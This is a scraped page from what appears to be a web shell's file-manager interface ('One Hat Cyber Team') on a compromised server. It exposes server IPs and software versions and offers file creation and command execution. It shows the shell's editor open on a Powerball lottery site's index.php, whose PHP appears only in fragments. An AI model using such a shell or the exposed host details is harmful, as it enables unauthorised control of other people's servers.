⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ef.electronharmony.com
/
1
/
T5
/
Edit File: index.php
powerball
Powerball
add
Search
Number 1:
Number 2:
Number 3:
Number 4:
Number 5:
Powerball:
Select Date:
Submit
query("SELECT custom_date, num1, num2, num3, num4, num5, powerball FROM powerball_entries ORDER BY id DESC"); // 检查是否有数据 if ($stmt->rowCount() > 0) { while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { // 提取数据 $custom_date_raw = $row['custom_date']; $num1 = $row['num1']; $num2 = $row['num2']; $num3 = $row['num3']; $num4 = $row['num4']; $num5 = $row['num5']; $powerball = $row['powerball']; // 格式化日期 $custom_date = DateTime::createFromFormat('Y-m-d', $custom_date_raw)->format('D, M j, Y'); // 输出 HTML 结构 echo '
'; echo '
' . htmlspecialchars($custom_date) . '
'; echo '
' . $num1 . '
'; echo '
' . $num2 . '
'; echo '
' . $num3 . '
'; echo '
' . $num4 . '
'; echo '
' . $num5 . '
'; echo '
' . $powerball . '
'; echo '
'; } } else { echo '
No Powerball entries found.
'; } } catch (PDOException $e) { echo "Error: " . $e->getMessage(); } ?>
Simpan